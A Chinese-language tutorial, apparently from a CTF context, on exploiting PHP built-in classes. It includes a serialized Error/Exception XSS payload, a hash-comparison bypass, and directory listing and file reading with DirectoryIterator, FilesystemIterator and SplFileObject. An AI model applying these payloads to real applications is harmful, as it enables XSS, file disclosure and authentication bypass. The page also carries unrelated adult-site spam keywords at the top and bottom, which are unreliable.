久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長資訊網
最全最豐富的資訊網站

PHP原生類的總結分享

本篇文章給大家帶來了關于PHP的相關知識,其中主要介紹了關于原生類的相關內容,下面一起來看一下,希望對大家有幫助。

PHP原生類的總結分享

這次HEctf就是一個原生類的題,只有短短三行代碼。果然越短小的代碼在ctf里越難。

首先貼一個遍歷php內置類的腳本

 <?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根據題目環境將指定的方法添加進來, 來遍歷存在指定方法的原生類         ))) {             print $class . '::' . $method . "n";         }     }      }
登錄后復制

結果:

PHP原生類的總結分享

整理一下:

Exception ErrorException Error ParseError TypeError ArgumentCountError  ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException  OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
登錄后復制

大概就是這些類了,但是在ctf比賽中經常會用到的就是以下幾類

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Error/Exception 內置類進行 XSS

error xss

__toString方法會返回錯誤或異常的字符串形式,其中包含我們輸入的參數,如果我們構造一串xss代碼,結合echo渲染,將觸發反射形xss漏洞

demo:

<?php $a = unserialize($_GET['a']);echo $a;
登錄后復制

poc

<?php $a = new Error("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b);
登錄后復制

輸出了一串字符串

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復制代碼
登錄后復制

成功彈窗

PHP原生類的總結分享

exception xss

Exception是所有用戶級異常的基類。 (PHP 5, 7, 8)

<?php $a = new Exception("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b); ?>
登錄后復制

和error的pop的構造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

PHP原生類的總結分享

Error/Exception 內置類繞過哈希比較

通過構造這兩個類可以啊繞過md5()和sha1()函數。error和exception都有一個重要方法:_tostring,用于將異常對象轉換為字符串。

同樣,當md5()和sha1()函數處理對象時,會自動調用__tostring方法

<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
登錄后復制

輸出結果

PHP原生類的總結分享可以看出,payload后面的參數并不影響輸出的結果。正是通過這個可以繞過哈希函數。

<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){     echo '$a不等于$b'."n ";} if (md5($a)===md5($b)) {     echo "md5值相等n"; } if (sha1($a)===sha1($b)){     echo "sha1值相等n"; }
登錄后復制

PHP原生類的總結分享

soapclient

soap的定義

簡單對象訪問協議含義

這里之所以說是簡單,是因為它是基于已經廣泛使用的兩個協議:HTTP和XML,所以業界把這種技術稱為“它是第一個沒有發明任何新技術的技術",之所以說是對象,是因為把訪問的Web服務稱為對象,既然服務是對象,那么服務肯定有相關的屬性和調用行為,這些屬性和行為是通過WSDL來描述的。如果按“簡單的對象訪問協議”來理解,相比“簡單對象訪問協議”要容易些

PHP 的內置類 SoapClient 是一個專門用來訪問web服務的類,可以提供一個基于SOAP協議訪問Web服務的 PHP 客戶端。

該類的構造函數如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
登錄后復制

  • 第一個參數是用來指明是否是wsdl模式,將該值設為null則表示非wsdl模式。
  • 第二個參數為一個數組,如果在wsdl模式下,此參數可選;如果在非wsdl模式下,則必須設置location和uri選項,其中location是要將請求發送到的SOAP服務器的URL,而uri 是SOAP服務的目標命名空間。

php原生文件操作類

目錄遍歷

DirectoryIterator

__toString 獲取字符串形式的文件名 (PHP 5,7,8)

例如:

<?php $a = new DirectoryIterator("/"); foreach($a as $b){     echo($b.'</br>'); } echo $a;
登錄后復制

PHP原生類的總結分享輸出指定目錄里面經過排序之后的第一個文件名

使用此內置類的__toString方法結合glob或file協議,即可實現目錄遍歷

<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

利用foreach能遍歷所有的文件

<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

多一個斜杠,目錄往前一個。

FilesystemIterator 類

FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個用于查看文件系統目錄內容的簡單接口。該類的構造方法將會創建一個指定目錄的迭代器。

該類的使用方法與DirectoryIterator 類也是基本相同的:

<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
登錄后復制

PHP原生類的總結分享

文件讀取

SplFileObject::__toString — 以字符串形式返回文件的路徑

<?php $a = new SplFileObject('flag.txt'); echo $a;
登錄后復制

PHP原生類的總結分享輸出多行

<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){     echo($f); }
登錄后復制

PHP原生類的總結分享

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
亚洲精品进入| 亚洲成人免费| 成人在线网站| 欧美日韩中文字幕一区二区三区| 麻豆一区在线| 里番精品3d一二三区| 国产午夜久久av| 精品中文在线| 国产高潮在线| 播放一区二区| 色偷偷色偷偷色偷偷在线视频| 精品午夜视频| 人在线成免费视频| 欧美日本久久| 水蜜桃久久夜色精品一区的特点| 香蕉久久久久久| 国产va在线视频| 亚洲福利久久| 亚洲精品视频一二三区| 国产欧美在线观看免费| 成人在线超碰| 国产亚洲一级| 国产精品99在线观看| 99久久精品网站| 亚洲精品人人| 国产精品**亚洲精品| 日本а中文在线天堂| 美女尤物久久精品| 麻豆精品在线观看| 午夜国产一区二区| 国产精品久久久免费| 欧美日韩激情在线一区二区三区| 91日韩免费| 四虎精品永久免费| 四虎4545www国产精品| 日韩精品一区二区三区中文字幕| 狠狠久久伊人中文字幕| 首页国产欧美日韩丝袜| 美女视频黄免费的久久| 亚洲精品1区2区| 国产欧美日韩亚洲一区二区三区| 电影亚洲精品噜噜在线观看| 国产欧美日韩| 综合一区二区三区| 91成人超碰| 色婷婷色综合| 国产精品一区二区免费福利视频| 午夜日韩福利| 欧美一级精品| 久久久噜噜噜| 日韩精品2区| 久久青青视频| 日韩欧美午夜| 欧美一区=区三区| 欧美日韩精品一本二本三本 | 欧美中文高清| 9久re热视频在线精品| 成人在线观看免费视频| 欧美一级一区| 中文一区一区三区免费在线观 | 亚洲91久久| 欧美91在线| 国产视频网站一区二区三区| 99久久久国产精品美女| 国内自拍视频一区二区三区| 黄色欧美日韩| 日本综合字幕| 欧美日本不卡| 日本一区福利在线| 欧美1区免费| 国产高潮在线| 丁香婷婷久久| 国产精品亚洲欧美| 日本午夜精品视频在线观看| 99久久亚洲精品| 欧美国产美女| 国产美女撒尿一区二区| 日韩av中文字幕一区二区三区| 午夜在线播放视频欧美| 蜜臀久久99精品久久一区二区| 国产综合欧美| 婷婷综合激情| 免费成人网www| 久久精品青草| 欧美综合另类| 午夜在线精品偷拍| 亚洲精品福利| 日韩精品乱码av一区二区| 日本综合精品一区| 欧美在线不卡| 国产欧美在线| 91亚洲国产| 久久婷婷丁香| 视频一区中文| 石原莉奈在线亚洲三区| 亚洲网址在线观看| 日韩va欧美va亚洲va久久| 国产精品777777在线播放 | 美女毛片一区二区三区四区| 久久男女视频| 日韩国产欧美三级| 国产精品久久久久久久久久齐齐| 久久久久久婷| 午夜在线精品偷拍| 久久99精品久久久野外观看| 中文字幕色婷婷在线视频| 激情欧美日韩一区| 亚洲精品日本| 蜜桃精品在线| 亚洲精品在线国产| 老牛国内精品亚洲成av人片| 欧美精品资源| 日韩高清不卡在线| 国产精品久久久久蜜臀| 99精品视频在线观看免费播放| 亚洲性视频在线| 神马久久午夜| 精品国产三区在线| 美女久久一区| 久久一区二区中文字幕| 欧美一区影院| 在线视频日韩| 久久伊人久久| 丝袜美腿亚洲一区| 欧美黄色网页| 日韩在线卡一卡二| 日韩久久精品| 久久精品一区| 91精品啪在线观看国产爱臀| 婷婷亚洲五月| 伊人久久视频| 国产一区调教| 欧美日韩精品一区二区三区在线观看| 三级欧美在线一区| 久久久久久免费视频| 美女免费视频一区| 婷婷亚洲成人| 亚洲免费成人av在线| 亚洲激情二区| 亚洲激情黄色| 国产一区亚洲| 日韩中文视频| 国产一区欧美| 蜜桃一区二区三区| 今天的高清视频免费播放成人| 欧美激情国产在线| 不卡中文字幕| 国产精品美女| 亚洲综合不卡| 日韩视频一区二区三区在线播放免费观看| 神马久久午夜| 国产99精品一区| 亚洲激情欧美| 石原莉奈一区二区三区在线观看| 欧美美女一区| 亚洲国产一区二区三区在线播放| 亚洲性色视频| 水蜜桃久久夜色精品一区的特点| 在线视频免费在线观看一区二区| 一本一本久久| 国产伦精品一区二区三区在线播放| 国产日韩欧美三级| 欧美丰满日韩| 亚洲主播在线| 国产精品免费99久久久| 国产精品精品| 免费不卡在线视频| 日韩欧美中文字幕一区二区三区| 国产精品一区二区av日韩在线| 日韩av二区| 午夜久久黄色| 日本午夜免费一区二区| 国产在线日韩精品| 国产一区欧美| 成人在线丰满少妇av| 好吊日精品视频| 国产精品白丝久久av网站| 性欧美xxxx免费岛国不卡电影| 亚洲精品激情| 91精品啪在线观看国产18| 亚洲精品成人一区| 日韩欧美午夜| 日韩国产在线一| 日韩一级不卡| zzzwww在线看片免费| 午夜久久一区| 国内精品美女在线观看| 日韩精品欧美成人高清一区二区| 鲁鲁在线中文| 国产精品99久久免费观看| 欧美日韩日本国产亚洲在线 | 综合日韩av| 国产精品片aa在线观看| 久久亚洲影院| re久久精品视频| 精品一区不卡| 日韩福利在线观看| 综合激情一区| 91欧美在线| 国产在线|日韩|